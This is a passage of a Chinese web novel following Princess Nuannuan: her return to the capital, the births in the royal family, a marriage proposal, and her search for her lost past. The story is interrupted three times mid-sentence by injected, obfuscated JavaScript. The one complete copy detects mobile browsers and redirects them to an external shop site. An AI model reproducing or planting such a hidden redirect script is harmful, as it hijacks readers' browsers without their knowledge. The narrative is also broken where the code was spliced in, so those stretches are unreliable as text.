锦绣一看琴,便问她:“可否将琴借奴家仔细看一看?” 暖暖将位置让给她,她抬起琴的一角看了一眼,有些激动,说道:“果然没有看错!这架琴,你是从哪里得来的?” “我……的一个朋友送给的。”暖暖本想说是哥哥给的,但是转念一想还是不要牵扯到他了。 锦绣追问:“你朋友可叫锦瑟?” 暖暖听了心头一颤:“你们认识?” “何止是认识……你看这架琴后面刻的是“碧鸳”。” 暖暖坐过来,看着琴的背面,果然有“碧鸳”二字,虽然被烧掉了一部分,但是还是能够分辨出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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锦绣捧着身契,这是她连想都不敢想到事,她年岁已长,只想趁着还有些姿色,多赚些银子或者搭上个外地来此的商人,离开这个地方。 不想,今日竟拿到了身契和籍契,她红了眼圈,不可思议地问道:“这……这是真的吗?” “有官府的印戳,怎会有假。”有绣衣卫帮忙,这对暖暖来说是举手之劳。 能为乐籍之人脱籍,不仅是富,而且是贵,锦瑟抬头,有些惶恐地问道:“你到底是谁?” “我是谁不重要,离开这个地方,去过你想过的生活。” 锦绣反应过来,立即走到暖暖前跪下,将银票奉还:“奴家已攒够银两,不敢再受贵人恩惠,请贵人收回。” 暖暖抚着琴说道:“拿着吧,你这架琴我要了,这算是酬金。” 锦瑟诚恳地说道:“贵人若喜欢这架琴,赠予贵人便是,但是这琴沾染风尘,恐污了贵人的手。” “风尘不风尘的,论心不论人。”暖暖说罢便带着琴走了。 当晚,锦绣收拾细软离开了维扬城。 此后日子如常,暖暖照旧吃喝玩乐,可她心中那一块缺失却如何也补不上。 期间,她收到了师英玉的来信,信中说她现再在边关,马上就要成亲了,对方叫程旷,是她叔父一手提拔起来的人,与她十分对脾气,便决定嫁了,今年她要留守边关,不能与她见面了。 得知这个消息,暖暖心中的空缺似乎又增大了。 或许,她是想家了。 109. 明月照孤身 中秋佳节,维扬城内又是热闹的一晚。 暖暖没有远走,只是在离巷口不远的亭子里,看着水中的莲花灯和天上孔明灯。 此刻万家灯火、人间团圆,她只觉她是那维扬城上月,望人间尽繁华三千,却与世无亲。 她对舒雁说道:“舒雁,我想回家了。” 舒雁:“奴婢明日就派人告知京中,陛下会派人来接公主。” “明日启程。”暖暖丢下一句话,起身向知春巷走去,或许回了京,那块缺失就会被补全。 公主归京是好事,舒雁连夜收拾了东西装箱,冰绡安排车架,次日未到午时,她们已出了维扬城门口。 犹豫这个决定太过匆忙,她们走了两日,才遇见前来接应的韦素。 韦素继续护送暖暖归京,冰绡则返回维扬执掌绣衣卫事宜。 回到京中,暖暖住进了成王府。 因为夏萱有孕了,得知暖暖归来,叶均立即让她来帮忙管理府务。 叶均对夏萱的此胎颇为重视,此前夏萱从怀孕到生产,他从未完整地照顾过,而这个孩子,是唯一一个他全程看着长起来的孩子。 从对夏萱身体虚弱的担忧,到知道有孕后的欣喜,再看着她到肚子一点点变大,感受着一次次胎动,这种感觉真是奇妙,生命真是个伟大的奇迹。 他将之前的亏欠,包括对那个早夭的孩子的愧疚,全都弥补给了夏萱和这个孩子。 夏萱见到暖暖,拉着手久久不放开,此前,她对暖暖执意离京十分不满,但是看见暖暖气色好过从前任何时候,身上也长了肉,便欣慰了,此前过往皆不追究。 新落成的成王府离梁宫很近,从成王府出来,绕过琼华苑,穿过宫门便是梁宫后苑。 待暖暖在成王府安顿下来之后,便入宫去拜谒淑太妃,此时临华殿中长公主与淑太妃同住。 暖暖在临华殿门口见到了一男子,看着并不十分年纪,却有几绺飘逸的胡子荡在在胸前,走起路来飘然洒脱,似有道骨仙风。 男子向暖暖行了一礼后离开。 暖暖悄悄问舒雁:“这人是谁?” “是驸马。” “大姐夫?”暖暖惊讶不已。 她记忆中只听闻驸马才貌双全,长公主因此对驸马一见钟情,婚后二人琴瑟和鸣,一度传为佳话,如今驸马怎么会是这个样子? 暖暖正想着,便有中官出来请她进殿去,殿内淑太妃与长公主正在等她。 长公主的肚子已高高隆起,浑身散发着母性的慈爱,只不过眼角有些微红。 淑太妃拉着暖暖问了起居之事,笑着感慨道:“维扬的风水就是养人,暖暖何时像如今这般水灵过。” 暖暖抚着长公主的肚子,肚子里的孩子仿佛受到了惊吓,使劲踹了一脚,吓得她赶紧缩回手。 长公主却拉着她的手继续感受胎动:“别怕,他是知道姨姨来,高兴呢!” “他还要多久能出生?” 长公主回答:“大约就这个月了。” 淑太妃却责备地看一眼长公主,说道:“这哪是有准的事,今日本宫便命医官、稳婆都要备好,以防不时之需,女人生孩子可是过道鬼门关,尤其是这头胎更要注意。” 之后她又嘱咐暖暖:“一会儿让我身边的彩云跟你去成王府,难为你一个没经验的丫头管理着这些事,你三嫂嫂的产期在腊月里,她虽不是头胎,但上一个孩子早产,这次也要注意,尤其是年底事务多,切不可让她操劳过度,记住了吗?” 淑太妃说完,心中深深的担忧,脸上一副谁都不让她省心的表情。 “太妃放心,府上有那么多老人,又有彩云姑姑帮衬肯定错不了。”暖暖说着,其实心中却很自责,她竟然不知道夏萱的产期在腊月里,细算来,她离京之时,夏萱已有身孕。 她怎么将日子过得这般糊涂,只顾着自己,却忽略了亲人。 不一会便有侍女来报:“陛下遣人来说在琼华苑设宴,召平阳公主觐见。” 淑太妃说道:“本欲留你用午膳,既然陛下召见,赶紧去吧。” 暖暖辞了二人,坐软轿来到了梁宫后的琼华苑,下了轿由中官引着到了叠翠亭。 叠翠亭建在半山腰,暖暖走得有些累,见到叶皓的背影,抱怨道:“就不能在太极殿召见吗?非要知道这山上来。” 叶皓闻声回头。 暖暖见他一脸肃然,顿觉压迫之感,于是敛了笑容,正色道:“臣平阳拜见……” “起来!” 暖暖还未跪下,就被叶皓免了礼。 叶皓坐到石桌旁,示意暖暖坐到他的对面,继而让中官摆午膳。 “刚才怎么突然要叩拜?”叶皓不解。 “还不是看你一脸帝王相,吓的!”暖暖重重地坐下,表示不满。 “你何时怕过我!”叶皓倒了两杯酒,继续说道:“尝尝,特意给你留的,景芝。” 暖暖饮了一口,说道:“景芝?哪里的酒?味道很熟悉,像是喝过。” 叶皓没有回答她,而是说道:“在维扬过得不错呀!” “冰绡都与你说了?”暖暖有些心虚,这半年在维扬的日子,用“荒唐”二字来形容也不为过。 叶皓忍着笑说道:“倒不是她说的,是你都快胖成发面馒头了。” 暖暖看着自己圆滚的手指,才发觉自己是真的胖了。其实夏萱和淑太妃已经说了她的变化,只是她未听出来而已。 叶皓如此直言指出,她也不难为情,直言:“这些肉可都是我辛辛苦苦吃出来的。” 叶皓无语,只能附和道:“胖点好,胖点好……我还以为你要等到年底才回来。” 说话间,午膳已上齐,叶皓屏退了中官,兄妹二人要安静地用膳。 暖暖自己倒了一杯酒:“想家了,回来看看。” 叶皓举杯,问道:“以后有什么打算?” 暖暖亦举杯饮下后,回道:“不知道,等姐姐生完孩子再说吧。” 叶皓的筷子顿了一下,抬头看了她一眼,仿佛从她身上看到了当年的自己,无牵无挂,快活自由。 再也回不去了!他无奈一笑:“跟你要点东西。” 暖暖摆出不可思议的表情:“我能有什么东西,还不都是你给的?” 叶皓试探着说道:“这半年来,有人一直给你送礼物,这酒也是他送的。” “谁?送到维扬的东西也是他送的?” “是。” “为什么送我东西?” “想娶你!” “什么?”暖暖一下震惊了,被食物呛到,不停地咳了起来。 “慢些,至于么?”叶皓拍着她的后背,给她倒了杯水。 过了好一会,暖暖才缓过来,问道:“是谁?” 叶皓慎重地回答:“冷逸尘……”说完仔细观察她表情。 显然,对于这个名字,暖暖并未有过多关注,只问道:“他是哪家朝臣?你答应了?” “这……还要看你的意思。” 暖暖轻咳着,拍着胸口整理气息:“你希望我嫁,还是不希望我嫁?” “这是什么话,是你嫁人,又不是我嫁人。” “若是他对你、对朝政有助益,我便嫁;若是没有,以后就别让他送了。” 叶皓哑然失笑:“把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497390|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己当棋子了?你哥我还没到用牺牲手足来换取支持的地步,以后也不会这样做。” 的确,这半年来,屡屡有臣工提出册立中宫、公主联姻、成王纳妃等联姻奏议,皆他驳回,甚至在朝堂上训斥了几位大臣。 暖暖瞥到叶皓腰间的玉坠,说道:“你还没忘记她。” 话题突然转移,叶皓没有反应过来:“谁?” “锦瑟。” 很久没有人提过锦瑟了,这个名字让叶皓的心疼了一下,他放下筷子:“此生都不会忘掉。” “她叫林音,不知道是哪个音,我想应该是音律的音,要不她的琴为什么能弹得那样好。” 叶皓微微愣住:“你怎么知道?” 宫变之后诸事繁杂,虽然他以最快的速度拿到翠微楼大火的卷宗,但那时锦瑟的骸骨与杜纯之的骸骨堆在一起已被处理掉了,只有这块浴过火的玉石留了下来。 他虽不相信什么前世来生,但还是为锦瑟立了一个衣冠冢,在一处山清水秀的地方,还在附近建了个院子。他想,若她的魂魄能等着他,他希望她不再漂泊,若她先去投胎了,他则希望她能得遇良人。 而他,此生,是不堪托付之人。 他曾经也想去探查锦瑟的身世和过去,但是很快就打消了这个念头,他爱的是此时的锦瑟,他知锦瑟为了靠近他,经历了很多坎坷,而这些坎坷才让锦瑟是此时的锦瑟,故而前尘往事便不必追究。 暖暖见他不语,自顾自地说道:“我在维扬遇到了她的朋友,因我的缘故,这个女子流离失所,我为她解了身契,给她银子,让她离开维扬了。她的琴和锦瑟的琴是一对儿,留在维扬的家里了。” 叶皓轻抚了几下玉石,而后说道:“这半年你倒是交了不少朋友,于文则是怎么回事?” “冰绡……没和你说?”提到于文则,暖暖有些紧张,不敢直视他。 “她只说于文则交友甚广,且知道了你的身份,恐泄露秘密。” “于文则他……”想到那夜的事,暖暖还是生气,也无法与叶皓说,改口道:“我与这个人犯冲……” 为来防止他再问别的,她赶紧转移话题:“对了,你刚才跟我要什么?” “那人送来的礼物中的药材……” “那礼物是你收的,你负责退回去,若是想要药材,就亲自去跟送礼之人说。” “你倒是算得清楚,不让人占半分便宜。” “我是不想与其他人有牵扯。”暖暖迟疑了一下,还是说道:“哥,我现在这样生活挺好的,能不能就让我一直这样继续下去? 看着她带着些祈求的眼神,叶皓有些不忍心:“好,好……我不再提此事。 这午膳用得倒是愉悦。 暖暖走后,叶皓负手而立,眉头微蹙,望着巍巍梁宫。 他叫来韦素,命他给绣衣卫东路传令:一、命冰绡查访名医,为公主疗疾;二、将年后东路绣衣卫所办之案的卷宗送至京中;三、暗中调查于文则离开维扬前发生之事。 他叮嘱第二和第三件事不可让绣衣卫得知,于文则之事并不是冰绡与暖暖说的那样简单,他怀绣衣卫对他有所隐瞒。 不久,卷宗与调查结果送至京城,叶皓看过后更加证实了自己的想法:绣衣卫擅专太过。 这是个不好的苗头,需及早处理。当时设立绣衣卫的本意是监视百官,巡查缉捕,而现在绣衣卫的权利似乎太大了。 他不动声色地将各路绣衣使派入了西南与益州,还有一部分潜入了白高国,随后又逐步地收回了绣衣使的部分权利。 但是他没有动冰绡的东路绣衣使,因为暖暖还需要他们的保护。 110. 安稳岁月好 半个月后,长公主诞下一名男婴,孩子漂亮且健康,眉目清秀,得到了驸马的真传。 除了长公主,淑太妃是最高兴的一个人,多少年了,这梁宫才诞下这一个孩子。她以需长公主帮忙打理后宫为由,请陛下允许长公主继续留在临华殿,叶皓自然允许。 夏萱的产期在腊月下旬,还在冬月里,叶均便告了假,暖暖也一直在成王府陪伴夏萱。 不想,腊月初一夜了,夏萱只觉肚子紧绷,硬邦邦的,有些坠痛。 叶均便立即想遣人去叫医官与产婆,却被夏萱阻止了:“还没到产期,再说生孩哪有那样快,漏夜去请医官,太张扬了。” “这样大的事,安全最重要。” 夏萱忍着痛,反而安慰他道:“又不是头胎了,不必这样紧张,阵痛一会就会过去,反倒是夤夜去请医官,惹得众人都知晓了,不知别人要怎样说。” 叶均现在位高权重,几乎掌控了半个朝堂,朝中已有人对此已有微词,夏萱亦常叮嘱他处处小心行事,免得落人话柄。 夏萱坚持等天亮,叶均拗不过她,只能干着急,盼着天快快亮起来。 东方鱼肚白时,他立刻遣人去请了医官与稳婆。 夏萱被折磨了半宿,清晨时才勉强睡了一会儿,而后又是一阵腹痛。 她忍痛起身穿衣,忽觉腿部一股暖流——羊水破了。 叶均慌了神,非常后悔没有去叫产婆,还好琼琚妥帖,立即安排人烧热水,准备生产用品。 好在此刻稳婆到了,不多时,医官也到了。 暖暖见众人忙碌,自己也帮不上什么忙,便陪着两个大孩子在园子里玩,不去打扰他们。 大约过了一个时辰,侍女带来喜报:“王妃生了,是个小郡主,母女平安。” 暖暖将孩子交给奶娘,想过去看看,小侄子叶珂说道:“姑姑,我也想去看看母亲与妹妹。” 小侄女叶瑾也跳过来,说道:“我也要去、我也要去……” 暖暖蹲下来,耐心地说道:“你们都母亲现在太虚弱了,等晚一些姑姑再带你们去看她们好吗?” 叶瑾从头上摘下一朵珠花,交给她说道:“这朵花送给妹妹,她戴上一定很漂亮。” 暖暖用掌心接过,郑重地说道:“好,我一定拿给妹妹,现在你们去和嬷嬷吃点心去,好吗?” 两个孩子齐声说“好”,然后叶珂拉着叶瑾的手,跟着嬷嬷去了。 暖暖来到夏萱的寝殿,叶均正被琼琚拦着不让进去。 琼琚双手死死地把着门,说道:“殿下不能进去,产房不吉利,男子不能入。” “我就去看一眼。”孩子早产了近一个月,叶均心中实在是放心不下。 琼琚十分坚持:“一眼也不行。” 她见公主到来,立即向她投去求助的目光。 暖暖问琼琚:“里面什么情况了?” “回公主,一切平安,稳婆正在给小郡主洗澡。” 暖暖拦住叶均,说道:“哥哥稍等会,你先烤会火,带来冷风进去,只怕对姐姐和孩子都不好。” 叶均这才作罢,坐到了火炉旁。 不多时,侍女们端着水盆等器具出去了,叶均看两盆红色的水紧张地站了起来。 暖暖看到琼琚也端着夏萱换下来的衣衫出去了,想是里面已经收拾停当了,于是悄悄拉了拉叶均的衣袖示意他进去。 二人走进内殿,只见夏萱躺在床上,面色有些发白,婴孩被小被子包裹着躺在她身边。 见二人来了,夏萱想起身,却被叶均按住,叶均看着她脸色苍白,发间的汗水还未干,拉起她的手心疼地说道:“辛苦了。” 夏萱没有什么力气,只是轻轻地摇了摇头,反将叶均的手握了一下,二人相视一笑。 暖暖趴在床边,看着襁褓里的婴孩,她紧紧闭着眼睛、头发稀疏、皮肤皱皱的,并不是她想象中的那般粉雕玉琢。 她用指腹轻轻触了一下婴儿的脸庞,柔柔嫩嫩,她立即缩回手,生怕摸破了。 叶均想抱起婴孩,暖暖阻止道:“别碰,她这么小这么软,会碰坏的,等琼琚来了再抱。” 夏萱与叶均又是一笑,夏萱说道:“那有那么娇嫩。” 叶均抱起婴孩,心中无限喜爱。 暖暖看着羡慕,问道:“我能不能抱抱?” 叶均欲将孩子交给她,她却说:“等等,等我坐好。” 她就近捡了个座位坐下,深吸一口气,伸出了双手,轻轻接过婴孩放入她怀中。孩子入怀,给她的第一感觉却是:好轻、好小,全然不似抱小时候的叶珂与叶瑾那般感觉。 不过也是,她才刚出生啊,来到这个世上还不到一个时辰。 叶均一直在安抚夏萱,想着二人一路走来的不易,想着夏萱为他受过的委屈,想着她生产时的痛苦与艰辛。而这样的辛苦她竟然经历了四次,而自己却替不了她一点。 想到此处,叶均竟然湿了眼眶。 暖暖抱着婴孩,仿佛被定住了一般,正不知如何是好之际,琼琚进来了,她见叶均在内,暖暖抱着婴孩,不觉将眉头皱得紧紧的,快步上前接过襁褓,对叶均说道:“殿下恕罪,奶娘要进来喂奶了,还请殿下回避。” 叶均自然不舍得离开,叮嘱夏萱好好休息后还是与暖暖一起离开。 出了寝殿,管家便跟了上来,问叶均接下来该如何处理,叶均对暖暖说道:“你去处理吧。” “什么?我?”暖暖疑心是自己听错了,又问了一遍。 “之前你姐姐教了你这么久,到来该施展对时候了,我去送送医官。”叶均说完便大步离去。 暖暖问管家:“我该做些什么?” 管家提示道:“今日大喜,有功之人该赏。” 暖暖想了一会,说道:“赏,王妃院内服侍的赏银十两,府内其他人赏银五两。” 管家继续提示道:“去宫中报喜之人还在等公主示下,稳婆还在偏殿喝茶休息。” “让报喜之人即刻就去,再封二十两银子,我亲自去向稳婆道谢。” “是,是,老奴这就去办。”管家似乎对公主的安排十分满意。 暖暖带着银子去感谢了稳婆,稳婆双手接过,悄悄地掂着银子后频频向她道谢,暖暖心中才明白:给多了! 接下来,暖暖成了全王府最忙的人,每日都有处理不完的事情、看不完的账本。从早起扒开眼睛到晚上闭上眼睛,中间一刻也不得休息,甚至梦里都还在翻账本。 不过,还好她有舒雁这个帮手,一个月下来,她肉眼可见的消瘦,眼中也没有了光,现在她只要见到账本便想睡觉。 皇室中一下子添了龙凤两个孩子,这是梁国多少年没有过的喜事,于是满朝齐贺,普天同庆,这个年过得很热闹。 过年的时候,夏萱正好出月子了,叶均为了不劳累夏萱,推辞了所有的聚会宴请,包括宫中的宴席。 正月初二这日,叶均叫来暖暖一起过来商量满月宴的事。他选了一个月也没有将孩子的名字定下来,感觉每个名字都配不上她的女儿。 夏萱看着他写的名字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶均正襟危坐,尴尬的咳了两下,说道:“刚才宫中传话过来,说太妃过来瞧瞧,现下也该到了,我去外面迎迎。” 夏萱亦起身,说道:“怎么不早说,琼琚,快帮我梳妆更衣。” 暖暖接过琼琚手里的孩子,孩子已白白胖胖,这会儿吃饱了便开始好奇周围的一切。 夏萱刚换完衣服,外面便有人通报:“淑太妃娘娘到,长公主到、明王妃到。” 暖暖将孩子放到摇篮里,随夏萱一起出门迎接。 夏萱还没跪下去,便被淑太妃一把扶起,拉着手进了寝殿里间,淑太妃边走边说道:“你才出月子,也要注意才好,天这样冷,还出来迎接。” “谢太妃体恤孩儿,但是礼数不能少。” “等你身子强健些了再讲礼数,正好你二嫂今日进宫,我们闲来无事,便一起过来看看你。” 暖暖又与长公主、明王妃,见礼后,抱着孩子给诸位看了一圈后,又坐回摇篮旁,陪着一众人。 夏萱道:“长公主清减了不少。” 太妃笑道:“她呀,一会也舍不得孩子,晚间要起来好几次,能不瘦吗?” 长公主解释道:“我年过三十,才有了这个孩子,他又体弱,我怎舍得假手他人。” 太妃道:“那孩子让你惯的不抱着就不睡觉,慈母多败儿,看你以后怎么管教。” 长公主:“等大些了自有师傅管教。” 太妃不满:“到那时你也舍不得!” 说完屋内一阵欢笑声。 111. 恍惚不知梦 明王妃有些羡慕的听着众人说话,一直未开言。 夏萱怕她有冷落之感,便对她说道:“二嫂,什么时候能添个小侄子?” 明王妃一下就脸红了起来,她是书香世家之女,叶铭选妃之时看中了她的清雅端庄、贞静淡泊,有超然物外之感,曾说过她就像是春日暮霭里一声晚钟,从容悠远。 但是她的性格木讷,不善言辞,更不懂如何拢住夫君的心,眼见着明王妃一朵兰花就要枯萎在王府中。 淑太妃叹了口气:“唉!快别提这个了,老二那性子……他如今还住在秘书监里?” 明王妃支支吾吾的回答:“是,有时也在道观里,一月中倒也回来一两次。” 淑太妃不悦:“荒唐,这还拿王府当家吗?” 明王妃低下头去,似乎明王不归是她的错一般。 淑太妃提点她:“你这孩子太老实了,若得空了将王府好好收拾收拾,太过素雅反倒显得呆板。” 明王妃未解其意,似乎令有想法,她鼓了鼓勇气,起身跪在太妃面前说道:“请太妃也疼疼孩儿,得个一男半女的,也能承欢膝下……听闻长公主就是太妃帮忙的。” 长公主听了,变了脸色,觉得十分难堪,这件事她与太妃办的隐秘,是将驸马骗回,下了暖情的药才有了这个孩子。 如今此事被当众提及,她面上微红,隐隐可见怒气。 夏萱自觉失言,刚想开口,淑太妃打圆场道:“子嗣这事要看缘分,自然是清儿的缘分到了,我能帮得上什么忙?只不过是接她回宫小住,帮着带带孩子罢了。” 明王妃似乎没听出其中的意思,期期艾艾的说道:“可……殿下说他与驸马练的是同一种秘术,叫什么添.油洗髓术……” 她还未说完,其他三人皆变了脸色。 夏萱立即大声清了清嗓子,对一边的暖暖说道:“暖暖,瑜儿是不是饿了?带着去找奶娘吧。” 暖暖正和瑜儿玩的开心,她将手放在瑜儿的嘴边,瑜儿的头便跟着她的手指转头,她又摸摸瑜儿的小鼻子,瑜儿使劲揉了揉表示抗拒。 她心思全在孩子身上,并未领会到夏萱的意思:“她不是刚吃过吗?” 夏萱给琼琚使了个眼色,琼琚上前抱起小郡主,说道:“公主,小郡主方才吐了奶,公主陪奴婢同去找奶娘吧。” 暖暖点点头,起身向四人告退,她刚出了寝殿,舒雁便上前来说道:“公主可得空了?刚才殿下书房的小厮来说,若公主得空了到殿下的书房去一趟。” 暖暖听说叶均找她,便问有什么事? 舒雁摇摇头:“来人未说。” 暖暖心想:大约还是满月宴的事吧。 她来到书房,看见叶均一脸严肃,将一封书信递给她,问道:“这是怎么回事?” “什么怎么回事?”暖暖将信接过,她本以为会是师英玉寄来的信,可看字迹却十分陌生。 信封上书:叶青亲启。拆开一看竟是于文则写来的,里面满是对她的歉意及思慕之情。 叶均补充道:“一起送来的,还有于家求亲的庚贴。” 暖暖又想起那日于文则在船中的举动,觉得恶心至极,还未看完便将书信团成一团扔进了炭火里。 叶均见她有如此举动,便猜到了她的心思,隐晦的说道:“暖暖,放你孤身在外已然破例,你要牢记自己是公主,一言一行皆为世人之范,若有合意的人就告知哥哥,不得有私。” 暖暖恐他再深问,乖巧的说了声:“是。” 叶均也曾年轻,也知道小儿女之间的两情相悦,他恐暖暖是难为情或是二人有什么别扭,便试探着问道:“这庚贴要怎么办?” 暖暖斩钉截铁的说道:“送回去!” 叶均也不再追问,也未急着退回,只是将庚贴放到了一边。 过完年,夏萱硬朗起来,暖暖终于可以将府务交还了回去,虽然松快下来,但是在叶均眼皮子底下,她还是不敢太放肆。 过年的热闹与团圆,让暖暖过了一段开心且忙碌的日子,但是每每热闹过后她都会感到无边的孤寂,她心中的空缺依旧没有被填满。 正月底,冰绡传来消息,绣衣使打探到了当年给秦羽看病的郎中,那郎中年迈,刚刚回乡定居,居住地就在离维扬百余里的兴化。 这倒是给了暖暖一个可以离开的理由,于是过了二月二,她又回到了维扬。 在维扬休息了两日后,她同舒雁、冰绡一起出发,季萧护送。 这么近的距离,若快些脚程,只需一日便到,但季萧恐太晚到兴化入不了城,便计划中途在姜芦村休息一晚,第二日再进兴化。 去路十分顺利,郎中为暖暖诊了脉,此时暖暖身体好过从前,并不能诊出什么大问题。 待舒雁向郎中说明情况,郎中思忖了一会儿,摇遥头说道:“失忆已这么长时间,想恢复的可能几乎为零。” 听了这话暖暖反倒松了口气,这样她就不会受药石之苦了。 一行人在兴化住了一晚,次日早早出发,直奔维扬。 行至半路,暖暖有些疲乏,季萧便安排人马到路边一小食店休息,并给马喂些草料。舒雁扶着公主在角落上的桌边坐下,店家端了茶水招待。 不多时,四个人赶着两辆车骡子车也到了这里歇脚,安顿好车架,四人坐到了暖旁边的桌子上。 冰绡见他们皆是山民村夫,言行粗犷,她恐伤到公主,便站起来侍立,用身体将公主挡在身后。 不料这一举动却引起了这几个人的注意,一个高个子笑道:“这江南的姑娘就是腼腆,不像咱北方的女子泼辣。”说完他转头看向暖暖一众人:“姑娘莫怕,我们只是客商,不是坏人。” 冰绡眼中带着戒备,回道:“谁会说自己是坏人?” 此话引得众人一阵笑,他们行走南北惯了,什么事没见过,便只当个笑话,并未在意。 冰绡恐恐节外生枝,便催促着公主到马车上去,她们刚起身,旁边一个长满胡子的中年男子端着碗,过来说道:“这位小娘子,留步。” 冰绡警惕的问道:“什么事?” 暖暖见那人说话和善,并无敌意,于是拉了一下冰绡,问道:“这位大哥,有什么事情?” 大胡子笑道:“小娘子不记得我了?在燕北?咱们见过。” 暖暖有些诧异:“这位大哥,可是认错人了?我并未去过你说过的地方。” “不会认错,当年你就带着这珍珠发簪,我刚才是见了你这发簪才记起你的。这发簪上的珍珠可遇不可求,这世上不会再有第二件了。” 暖暖又想起去年夏天有人非要买这发簪之事,便请那人坐下,重新叫了两碗茶,拔下发簪问道:“这珍珠有什么特别?” 大胡子将手在衣服上擦了擦,双手接过发簪,说道:“你这发簪上了珍珠是黑珍珠中的极品:孔雀绿。这种是海珠,开一万个黑蝶贝也不见得能遇到一颗,而这一根发簪上就有两颗,大小还这般匀称,可以说是稀 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此时,大胡子一行人已休息毕,套上骡马后继续向北进发。 剩下暖暖看着发簪发呆,这发簪究竟有什么样的故事。 舒雁拿过发簪,用帕子擦拭干净后为公主簪好,一行人向着南边维扬方向出发。 晚间,暖暖沐浴完,看着冰绡在书房习字,可她依旧看着发簪,想着今日之事。 舒雁端着银耳羹进来,说道:“公主还是将这发簪收起来吧,珍珠不是普通人家能用的起的,拍是以后还会有麻烦。” 叶岚并没有听她说什么,而是问道:“舒雁,这发簪会是谁的?” “自然是公主的,公主金尊玉贵,给公主的首饰自然都是新打制的。”这些话舒雁想也没想便脱口而出。 “可那些人为什么那么笃定见过这根簪子?舒雁,我是不是去过祁国?” 听闻此言,舒雁的手抖了一下,笑道:“奴婢……不知道……” 暖暖一看便知她在撒谎,直接对冰绡说道:“明日送她回京。 冰绡面无表情:“是,公主。” 舒雁立即跪下请罪,却不言其,冰绡见她还不说实话,起身告辞:“属下这就去安排。” 见冰绡出去了,舒雁有些慌了,说道:“奴婢真的不知,陛下将公主带回来时,公主便有这根簪子了。” 果然她知道一些事,暖暖继续问道:“陛下是从哪里将我带回来的?” “战场上……” “哪里的战场?” “边关……” 问一句,答一句,这让暖暖十分不满,严厉的说道:“哪里的边关?把你知道的都说出来。” 舒雁吓的一抖,吞吞吐吐的说道:“是从与祁国交战的战场上,将公主带回来的,陛下带公主回来的时候,公主身负重伤……其它的奴婢真的就不知道了。” 她说完俯身叩首,至于和亲一事,因她也不知其中详情,况且叶皓早就吩咐过不可告知公主前情,她不敢抗命。 这一夜,暖暖没有睡好,她试着去深挖记忆,最后只有头疼。 …… 睁眼到了天亮,清晨精神迷离之际,她看见海棠树下站立一青衣男子,他持剑负手而立,阳光耀眼,她看不清他的模样,欲上前问个清楚,却控制不了自己的身体,只遥遥的听见他说:“等我……” 继而她便转醒,神思恍惚,这是梦?还是回忆?那人又是谁? 112. 且看天地宽 暖暖心中的空缺越来越大,她时常看着珍珠簪发呆。 这背后一定藏着什么,她书信至叶皓想求个答案,叶皓却是含糊其辞,只言如此生活便是最好。 日子继续,但一切玩乐都提不起她的兴致,发簪成了新的石头,重新压在了她心中。 百无聊赖中她发现有几日没有见到季萧了,便问冰绡他的去向,冰绡直言:“他遵照陛下旨意,去辽东收药材去了。” “辽东在哪里?” “祁囯燕北以北。” 祁囯?燕北?暖暖记得,这是那日那个叫赵永山的大胡子提到过的地方,也许那里会有答案。 于是她做了个大胆的决定:去燕北。 此事,舒雁与冰绡肯定是不会同意的,于是她又做了个大胆的决定,独自行动。 她悄悄收拾了细软,打包了两套衣衫,又借口想看看书上记录的城池在哪里,和冰绡要了舆图,之后制定了一个周密的计划。 待一切准备好后,她趁着午间大家瞌睡之际,悄悄从后门溜了出去。 按计划,她要先到马行买一匹马,马行老板见她孤身一人,坐起起价,张口便要一百两,最后她讲到八十两才买了一匹老马,她有些心疼,看来以后要节约一些了。 但好歹迈出了第一步,她带着愉悦的心情出了城,不料刚走了半日,在路边休息时,就被冰绡带人围了。 冰绡带一众人跪了一圈,不言也不语。 暖暖气得摔了水囊:“你们绣衣使还真是神通!” 冰绡屏退其他人,对她说道:“公主若想去燕北,属下陪公主去。” 暖暖有些不敢相信自己的耳朵:“你……说什么?” “公主想做的事,属下都听命。” “你就不怕陛下怪罪吗?”暖暖又想起了那次季萧因她而受责罚,掌权者大约都怕手下人的背叛。 冰绡未语,她已经因公主而违逆陛下一次了,她知陛下年前对绣衣卫的一番调派是在敲打她,但她还是决定以公主为先。 她没有正面回答,而是说道:“公主这样到不了燕北,现下已是日暮,最近的驿站在三十里外,公主这样下去只怕是要露宿山野了。” 暖暖倒是计划了路程,但是她的计划太理想化,没有考虑到任何变量。 “属下已准备了车架,请公主上车。” 暖暖见她态度诚恳,不像是装出来的,反正也跑不掉了,便跟她来到马车前。 上了马车,竟看见舒雁被绑在了车里,口中塞着一大团布条。 舒雁见公主进来,瞪着眼睛发出求助的“呜呜”声。 暖暖一阵惊讶,但也相信了冰绡所说之话,她赶紧上前将舒雁口中的布条拿出来。 舒雁的嘴被撑大,一时无法恢复,含糊地说道:“公主……救我……” 暖暖看向冰绡,等她一个解释。 冰绡淡然地说道:“属下知舒雁会向陛下告密,便将她迷晕了,一起带了来,家里一切已都安顿好,请公主放心。” 暖暖环顾马车内,一应俱全,还有另一辆马车装着常用物资,这样周全地准备非一夕之功,看来冰绡早有准备,于是问道:“你是什么时候发现的?” 